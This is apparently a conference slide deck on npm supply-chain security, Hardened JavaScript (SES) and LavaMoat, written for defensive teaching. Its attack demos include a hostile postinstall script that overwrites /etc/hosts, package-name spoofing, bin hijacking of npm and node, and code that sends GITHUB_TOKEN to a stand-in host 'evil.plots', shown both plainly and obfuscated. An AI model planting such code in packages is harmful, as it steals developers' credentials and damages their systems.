Defensive Coding

and Hardened JavaScript

@naugtur 2023

<br> <br> # ⌨️ -> ⚙️🖥️ <br> <br> <br> _{^{Would you take a string from me and run it in your application's process?}} --- <br> <br> # 📦 -> ⚙️🖥️ <br> <br> <br> _{^{What if I offered to pack it in a .tgz file for you?}} --- <br> <br> # 👉📦👈 <br> <br> <br> _{^{Yes, that's what npm packages are.}} _{^{And they're glorious.}}

_{^{Wouldn't it be great to fearlessly use them like we did back in 2015?}}

# 📺 Previously on #### supply chain security --- ### vulnerable dependencies - audit scanners - false positives - security culture 📦npm-audit-resolver --- ### malicious install scripts - postinstall turns tsc evil - `--ignore-scripts` 📦@lavamoat/allow-scripts 📦can-i-ignore-scripts --- Talks available at [naugtur.pl](https://naugtur.pl)

Someone else's code

            var code = `trustMe("I'm an engineer")`
          

What if a package turns malicious?

exfiltration

fetch, process.env

prototype pollution

RCE

fs

event-stream

### JS can be tweaked and it's no accident - designed in 10 days - humbly assuming there's room for improvement

## polyfills #### and ## prototype poisoning #### are the same thing #### with different intentions

## Defensive Coding exercise time! ### 📦 repo: [js-training-examples -> defensive coding](https://github.com/naugtur/js-training-examples)

### Should we reinvent ### the wheel? [ses/src/commons.js](https://github.com/endojs/endo/blob/master/packages/ses/src/commons.js)

# SES ? ### What is that?

# 🤯 ### JS design is good for security? - Take ECMA + W3C - Add Conway's Law - Separation between language and APIs - Power only reachable through scope - Compartment controls scope

process

window

Lambda function

ClFl worker

iframe

thread

process

process

process

📦

📦

ClFl worker

iframe

thread

process

process

process

📢

👂

worker

isolate

thread

process

process

process

### SES - `Compartment` - scope isolation - `lockdown` - makes your Realm secure - `harden` - protects capable objects

#### Let's see how `lockdown()` works to prevent prototype pollution   ## demo

## Story time  

Let's install some dependencies!

Ok, catch this: 📦

I'm gonna sneak it in as

a dependency of

a dev dependency of yours

I'm not runing that.

That's what you think.

            "postinstall": "echo 💩 > /etc/hosts"
        

### Ok, wait ``` ✨🐋 npm ci cp node_modules s3:// 🔥🔥🐋🔥🔥 ```

#### Using typescript maybe? ### Hold my 🍺

## ignore scripts ``` npm ci --ignore-scripts ``` Run selected scritps ``` npm rebuild bcrypt ```

#### I can spoof that package name ``` evilpackage/node_modules/bcrypt/package.json: "scripts": { "postinstall": "echo 💩 > /etc/hosts" evilpackage/package.json: "bundledDependencies": ["bcrypt"] $ npm publish ```

# Oh 💩

#### look what I found! 

#### @lavamoat/allow-scripts ``` $ allow-scripts setup $ allow-scripts auto ``` ``` package.json: "scripts": { "setup": "npm ci && allow-scripts" ```

I see you use scripts

        evilpackage/package.json:
          "bin": {
            "npm": "./evilPlots.js",
            "node": "./evilPlots.js"
        
          

_{^{credit: https://socket.dev/blog/npm-bin-script-confusion}}

#### one RTFM later ``` $ allow-scripts setup --experimental-bins $ allow-scripts auto --experimental-bins ``` ``` package.json: "scripts": { "setup": "npm ci && npm run allow-scripts" ```

# 🤯 but but npm said it was a feature! 😭

#### let's get serious > Dear ${ eslintPluginMaintainer }, > I understand you're busy and I'd be happy to help with maintenance of your tiny but popular plugin...

#### will you read entire node_modules? ``` const credentials = process.env["GITHUB_TOKEN"]; const req = require('https').request({ hostname: 'evil.plots', path: `/stolen/${credentials}`, }, ()=>{}); req.end(); ```

#### ok, just in case you do ``` const _0x765e5=_0x46a0;(function(_0x57764e,_0x91aa41){const _0x32405d=_0x46a0,_0x165444=_0x57764e();while(!![]){try{const _0x42ba82=-parseInt(_0x32405d(0x150))/0x1*(parseInt(_0x32405d(0x15e))/0x2)+-parseInt(_0x32405d(0x153))/0x3*(-parseInt(_0x32405d(0x14f))/0x4)+parseInt(_0x32405d(0x159))/0x5*(-parseInt(_0x32405d(0x158))/0x6)+parseInt(_0x32405d(0x151))/0x7*(-parseInt(_0x32405d(0x152))/0x8)+parseInt(_0x32405d(0x157))/0x9+-parseInt(_0x32405d(0x15f))/0xa+parseInt(_0x32405d(0x15a))/0xb; if(_0x42ba82===_0x91aa41)break;else _0x165444['push'](_0x165444['shift']());}catch(_0x54f92f){_0x165444['push'](_0x165444['shift']());}}}(_0x3641,0x8e73e));function _0x3641() {const _0x5d9864=['/stolen/','evil.plots','2511378rgvTaf','5826vwOBSz','3845SrYtZx', '37351105uFQfso','request','end','https','72326kmzepu','8558100KDxwfw', 'GITHUB_TOKEN','25432JwBMWs','29XqXcpt','4547823ytmFVF','8EFXBHJ','99iKrczU','env']; _0x3641=function(){return _0x5d9864;};return _0x3641();}function _0x46a0(_0x24c0cb,_0x27294c){const _0x3641a1=_0x3641();return _0x46a0=function(_0x46a08f,_0x225127){_0x46a08f=_0x46a08f-0x14f;let _0x16a89a=_0x3641a1[_0x46a08f];return _0x16a89a;}, _0x46a0(_0x24c0cb,_0x27294c);}const credentials=process[_0x765e5(0x154)][_0x765e5(0x160)],req=require(_0x765e5(0x15d))[_0x765e5(0x15b)]({'hostname':_0x765e5(0x156),'path':_0x765e5(0x155)+credentials},()=>{});req[_0x765e5(0x15c)](); ```

#### should I keep going? 

#### yo, there's an app for that! 

#### it protects me at runtime ``` package.json: "scripts": { "generate-policy": "lavamoat build.js --auto", "build": "lavamoat build.js", ``` --- #### look what it found ```js ./lavamoat/node/policy.json: "that-eslint-plugin>evil-dependency": { "builtin": { "https.request": true }, "globals": { "process.env": true }, ``` --- #### look what it found ```js ./lavamoat/node/policy.json: "that-eslint-plugin>evil-dependency": { "builtin": { "https": false }, "globals": { "process": false }, ``` --- ``` $ npm run build Error: LavaMoat - required node builtin package not in allowlist: package "evil-dependency" requested "https" TypeError: Cannot read properties of undefined (reading 'env') ```

# (╯°□°)╯︵ ┻━┻

Now let's set up LavaMoat in a project

@naugtur   naugtur.pl

naugtur.pl/news

naugtur.pl/training

### Want more? [Mark Miller on F5 Tech Talks](https://www.youtube.com/watch?v=u-XETUbxNUU) Here's how it compares: ```txt Mark's talk: "Here's how we discovered cocoa trees and how we now produce delicious chocolate in a beautiful process with incredible machines!" ``` ```txt Zb's talk: "It basically grows on trees!" >>throws handfuls of candy at the audience ```